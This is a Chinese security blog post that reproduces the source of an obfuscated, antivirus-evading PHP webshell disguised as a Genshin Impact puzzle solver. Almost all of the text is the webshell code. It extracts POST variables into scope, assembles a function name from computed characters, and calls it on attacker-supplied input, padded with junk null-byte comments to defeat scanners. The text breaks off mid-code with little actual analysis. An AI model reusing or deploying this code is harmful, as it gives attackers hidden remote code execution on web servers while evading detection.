查看原文
其他

网安?原神?免杀WebShell?啊啊啊??

ChinaRan404 知攻善防实验室 2024-01-27

关注本公众号,长期推送技术文章

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!!

前言

看到一个项目,感觉挺有意思。

Github地址:

https://github.com/icewolf-sec/PerlinPuzzle-Webshell-PHP

免杀WebShell代码分析

<?php //error_reporting(0); header("Content-type:text/html;charset=utf-8"); foreach($_POST as $key => $value) $$key = $value; if (strlen($wpstring) === 0) die("笨蛋!先启动原神解个稻妻雷元素方块阵再来吧!"); $puzz_writeup = array(); for ($i = 0; $i < strlen($wpstring); $i++) array_push($puzz_writeup, $wpstring[$i]);
class PerlinNoise{ private $arrLength = 0; private $source = ""; private $inputNumArray = array(); private $seeds_array = array(); private $INPUT_NUM_MAX = 0; private $INPUT_NUM_MIN = 0; private $BAD_ARGS = false; public $perlin_noise = array();
private function randomFloat(){ $_ = 110+4; $__ = ((int)(600/2))-184; $___ = 115; $____ = 100-2; $_____ = 117; $______ = 113+2; $max = $this -> INPUT_NUM_MAX; $min = $this -> INPUT_NUM_MIN; $num = $min + mt_rand() / mt_getrandmax() * ($max - $min); return sprintf("%.2f",$num); }
private function __PLvB4CR0_Z() { srand(time()); for ($i = 0; $i < $this -> arrLength; $i++) { $eachNum = pause(rand(0,255)); array_push($this -> seeds_array, $eachNum); } }
private function __PLAB4CR0_o() { if (strcmp($this -> source, "GENERATE") == 0) { srand(time()); for ($i = 0; $i < $this -> arrLength; $i++) { $eachNum = pause($this -> randomFloat()); array_push($this -> inputNumArray, floatval($eachNum)); } } else if (strcmp($this -> source,"SYSLOG") == 0) { $handle = fopen("/etc/messages","r"); $count = 0; while(($char = fgetc($handle)) !== false) { if ($count == $this -> INPUT_NUM_MAX - 1) break; if (($ascii_value = ord($char)) and $ascii_value % 1 !== 0) { array_push($this -> inputNumArray, sprintf("%.2f",$ascii_value / 2.3)); $count++; } else continue; } } }
public function __construct($arrLength, $MAX_INPUT = 700.4, $MIN_INPUT = 56.7, $source = "GENERATE") { global $appor5nnb; if (!$appor5nnb -> getLockerStatus()) die("嗯哼,笨蛋杂鱼欧尼酱~ 果然解不开吧~"); if ($arrLength < 3000 or $arrLength > 9999) { throw new InvalidArgumentException("Error: Invaild Length"); } if (strcmp($source,"DIFF_PERLIN") == 0) { $this -> BAD_ARGS = true; $source = "GENERATE"; } $this -> arrLength = $arrLength; $this -> source = $source; $this -> INPUT_NUM_MAX = $MAX_INPUT; $this -> INPUT_NUM_MIN = $MIN_INPUT; } public function __BHUYTVV8_1() { $this -> __PLAB4CR0_o(); $this -> __PLvB4CR0_Z(); }
public function __CPRBB0R0_l() { global $userans; for ($i = 0; $i < $this -> arrLength; $i++) { if ($this -> BAD_ARGS) { if ($i > ($userans+391) and $i < (pause($userans+390+8))) { $result = array($userans + 101,$userans + 93,$userans + (50*2+8),$userans + 992-(800+85),105+($userans + 8),110+($userans+57)-60); array_push($this -> perlin_noise, $result[$i - 400]); continue; } } $cache = $this -> inputNumArray[$i]; $x1 = round($cache); $x2 = $x1 + 1; $grad1 = $this -> seeds_array[$x1 % 255] * 2.0 - 255.0; $grad2 = $this -> seeds_array[$x2 % 255] * 2.0 - 255.0; $vec1 = $i - $x1; $vec2 = $i - $x2; $t = 3 * pow($vec1, 2) - 2 * pow($vec1, 3); $product1 = $grad1 * $vec1; $product2 = $grad2 * $vec2; $result = $product1 + $t * ($product2 - $product1); array_push($this -> perlin_noise, $result); } }
public function __HNBB70CA_5() { global $userans; global ${strval(chr(90+$userans))}; global ${implode(array(chr(120-$userans),chr($userans+91),chr(70-$userans+53)))}; $cache_noise = pause(array()); for ($i = 400; $i < 406; $i++) { array_push($cache_noise,$this -> perlin_noise[$i]); } $temp_noise = array(); for ($i = 0; $i < count($cache_noise); $i++) { array_push($temp_noise, $cache_noise[$i]); } for ($i = 0; $i < count($temp_noise); $i++) { $temp_noise[$i] = chr($temp_noise[$i]); } $ab = pause(array_map(function($arr){ return chr($arr); },array_slice($this -> perlin_noise,(188*2)+$userans*3,$userans-3))); $c = strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab)))))); $c($pcs); // 希儿世界第一可爱! die(urldecode("%3c%62%72%3e%3c%62%72%3e")); var_dump(array_slice($this -> perlin_noise,1000,800)); } }
class InazumaPuzzle/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/{private $blockA = 0;private $blockB = 0;private $blockC= 0;private $blockD = 0;private/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*//*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*//*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/$MAX_ENUM = 2;private/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/$MIN_ENUM = 0; public function/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/__construct() {$this -> blockA = 2;$this-> blockB =/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/ 0;$this -> blockC = 0;/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/$this -> blockD = 2;}
private/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/function setBackBlock($block)/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/{$setType = $this/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/-> MIN_ENUM; $maxType = $this -> MAX_ENUM; switch ($block) { case 'A':if ($this -> blockA == $maxType) { $this -> blockA = $setType;return true; } else return/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/false; case 'B': if ($this -> blockB== $maxType) { $this -> blockB = $setType;return true; }else return false; case 'C': if ($this/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/-> blockC == $maxType){ $this -> blockC = $setType;return true; }else/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/return false; case 'D': if ($this -> blockD== $maxType) { $this -> blockD = $setType;return true; } else return false; default: throw new Exception("bad_args", 1); } }
private function hit($blockIdx) { global/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgj global $cnbd; rejfgireghjebvf;fvevbbn();ff; grtisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/$text; $text = urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44"); switch ($blockIdx) { case "A": if (!$this -> setBackBlock("A")) $this -> blockA += 1; if (!$this -> setBackBlock("B")) $this -> blockB += 1; break; case "B": if (!$this -> setBackBlock("A")) $this -> blockA += 1; if (!$this -> setBackBlock("B")) $this -> blockB += 1;if (!$this -> setBackBlock("C")) $this ->/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/blockC += 1; break; case "C":if/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/ (!$this -> setBackBlock("B")) $this -> blockB += 1;if (!$this -> setBackBlock("C")) $this -> blockC += 1; if (!$this ->/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/setBackBlock("D"))$this -> blockD += 1; break; case "D": if (!$this -> setBackBlock("C")) $this -> blockC += 1; if (!$this -> setBackBlock("D")) $this -> blockD += 1; break; default: throw new Exception("bad_args", 1); } }
public function __AFG50CE4_RG1() { global $puzz_writeup; if (count($puzz_writeup) === 0) throw new Exception("Invalid WriteUP",1);for ($i = 0; $i < count($puzz_writeup);/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/ // bcdufvcf%00 $i++) { if (strcmp($puzz_writeup[$i],"A") !== 0 and strcmp($puzz_writeup[$i],"B") !== 0 and strcmp($puzz_writeup[$i]/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱! \00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/,"C") !== 0 and strcmp($puzz_writeup[$i],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......"); } for ($i = 0; $i < count($puzz_writeup); $i++) $this -> hit($puzz_writeup[$i]); global/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/$userans; $userans =/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 